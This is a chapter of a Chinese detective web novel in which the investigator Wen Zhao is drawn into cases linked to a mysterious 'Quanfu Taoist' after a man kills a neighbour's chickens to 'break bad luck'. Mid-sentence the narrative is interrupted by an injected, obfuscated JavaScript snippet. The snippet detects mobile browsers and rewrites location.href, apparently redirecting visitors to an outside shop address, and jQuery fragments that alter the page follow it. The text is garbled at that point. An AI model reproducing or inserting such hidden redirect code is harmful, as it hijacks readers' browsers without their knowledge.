回到大理寺后,闻昭在殓房里又待了半个时辰,把陈晏的尸体从头到脚验了第三遍。
勒痕,的确只有那一道,平直向后,那里就是第一案发现场,指甲缝里干净,没有任何挣扎留下的皮屑或血迹。
且胃里没有毒,身上没有其他外伤。
干干净净,规规整整。
就像他自己走到乱葬岗,然后把脖子伸进绳套里似的。
根据陈铭所言,这个庄子上的家丁,要回来也得一两天功夫,现在想问话也问不到,阿芸那边,刘大牛咬**人就是自己杀的,一点要翻供的意思也没有。
案件一时之间仿佛陷入了胶着。
马车等在门口,两人上了车,一路沉默着回了裴府。
第二天一早,闻昭刚洗漱完,就听见外头有人敲门,是半夏。
“少夫人,外头来了个官差,说是找您的。”
闻昭擦干手,推门出去,来的不是大理寺的人,是京兆府的,一个二十来岁的年轻差役,长得黑黑瘦瘦,见了她就拱手行礼。
“裴夫人,小的奉府尹之命,请您过去一趟。”
闻昭愣了一下:“京兆府?京兆府找我做什么?”
“有个案子……”差役挠了挠头,“好像是有点奇怪。府尹大人说,这案子看着小,但里头牵扯的东西不太对,想请您去看看。”
闻昭一愣,“我?”
大理寺的案子找她正常,怎么京兆府的也找她了。
差役看她没动,又道:“裴夫人,我们府尹大人说,您是数一数二的女中豪杰,这案子虽小,却有蹊跷,特请您过去。”
闻昭抿抿唇,又挠挠头,虽然没懂京兆府找她能帮什么忙,但本着伸手不打笑脸人的处事原则,还是跟着去了。
京兆府离得不远,两刻钟就到了。
闻昭跟着差役进去,穿过一道回廊,进了正堂,京兆府尹姓周,是个五十来岁的老头,长得慈眉善目的,见她就起身迎过来。
“裴夫人,劳烦你跑一趟。”
“周大人客气了。”闻昭看了一眼堂下,“案子呢?”
周府尹往旁边让了让,闻昭这才看清,堂下跪着两个人。
一个是五十来岁的庄稼汉,皮肤黝黑,手上全是老茧,此刻正红着眼眶,满脸怒气地瞪着旁边的人。
旁边那个是个三十出头的男人,瘦得跟竹竿似的,穿着一身半旧的灰布衣裳,跪在地上也不老实,眼睛东瞟西瞟的,嘴里还念念有词,不知道在嘟囔什么。
看着精神不正常。
“怎么回事?”闻昭低声问。
周府尹叹了口气,指了指那个庄稼汉:“这位是城西刘家屯的农户,姓赵。他家养了十几只鸡,昨晚上全让人杀了。”
闻昭看向那个瘦男人,指着他,“是他杀的?”
周府尹点头。
“杀鸡干什么?”闻昭问那个瘦男人,“偷来吃?”
瘦男人抬起头,一脸严肃地摇头:“不是偷,是破煞。”
闻昭愣住了,“什么?”
“破煞。”瘦男人重复了一遍,语气还挺认真,“他家的鸡舍,正对着我家大门,挡住了我的运。全福道人说了,必须把鸡全部杀掉,才能化解。”
闻昭转头看向周府尹。
周府尹摊了摊手,一脸“你看我就说这案子奇怪吧”的表情。
“全福道人是谁?”闻昭问。
瘦男人眼睛一亮,整个人都精神起来:“全福道人可是活神仙!能掐会算,能知过去未来!我去年找他算了一卦,说我今年有血光之灾,让我多行善事,我照着做了,果然没事!这次也是他指点我的,说鸡舍挡了我的运,必须清掉,不然今年必有大祸!”
闻昭沉默了。
她看了看那个瘦男人,又看了看那个气得浑身发抖的庄稼汉,最后看向周府尹。
“周大人,您叫我来,是想让我验鸡?”
周府尹干咳了一声:“不是不是,裴夫人别误会,我是觉得……这案子背后,可能有点别的东西。”
“别的?”闻昭更疑惑了。
目前看来,这好像是个神经病杀鸡的故事。
周府尹压低了声音:“这个全福道人,最近在京郊一带很活跃,听说有不少人去拜他。我派人打听过,只知道他自称是云游道人,会看相算命,会驱邪避煞,其他的什么也查不
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17451360|201175||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
出来。”
闻昭的眉头动了动。
“所以您是想……”
“我想请裴夫人来查案。”周府尹说,“您在京中有声望,若是您想查,想必可以彻查。”
闻昭沉默了一息,她明白京兆府为什么找她了。
因为这案子看起来太小了,农户不管是杀鸡还是杀鸭,本质上只要没动人命官司那就是没人会管的,京兆府今天也顶多是判杀鸡那个赔钱,但是周府尹官也不是白当的,既然请了她来,就是知道她有身份有靠山,若是能查出来东西最好,若是查不出,也不会被陛下指责浪费人力物力。
她沉吟片刻:“明人不说暗话,周大人既然有此一说,想必也不是这一桩案子。”
周府尹脸色微变,随即比了比手势,“裴夫人随我来。”
闻昭微微颔首,随他去往后院,两人在廊下站定,周府尹低声说:“此事已有两年之久。”
闻昭眉心一跳。
“两年前,本官接到一起报案,说家里被邻居盗了,但邻居一没有偷盗财物二没有伤害孩子,只拿走了他们家碗柜里的一只破碗,事发之后,报案人本来没计较,谁曾想第二天,邻居居然上门殴打他,说他的碗有问题,不是全福碗。”
闻昭听完,脑袋上缓缓浮现出一个问号。
全福碗是个什么玩意?
“这是第一桩案子,此后两年里,长则半年,短则一月,就会有类似的案子,不是掠夺邻里财务就是要在空地上做什么,最严重的一次,有个稳婆刚给人接生完,一看是个女娃,居然要掐死。”
闻昭骇然。
“幸亏当时产妇的婆婆也在,好歹是保住了婴儿的命,后来把那稳婆扭送到京兆府,那稳婆也如今天这男人一样,说了一通这样的话。”
闻昭突然想起了陈晏的尸体,想起阿芸的尸体,想起章家那座干干净净的宅子,想起陈铭那张滴水不漏的脸。
“那个农户,”她指了指那个瘦男人,“他说的全福道人,在哪儿能见到?”
周府尹眼睛一亮。
“裴夫人想亲自去看看?”
闻昭点点头。
“我也去。”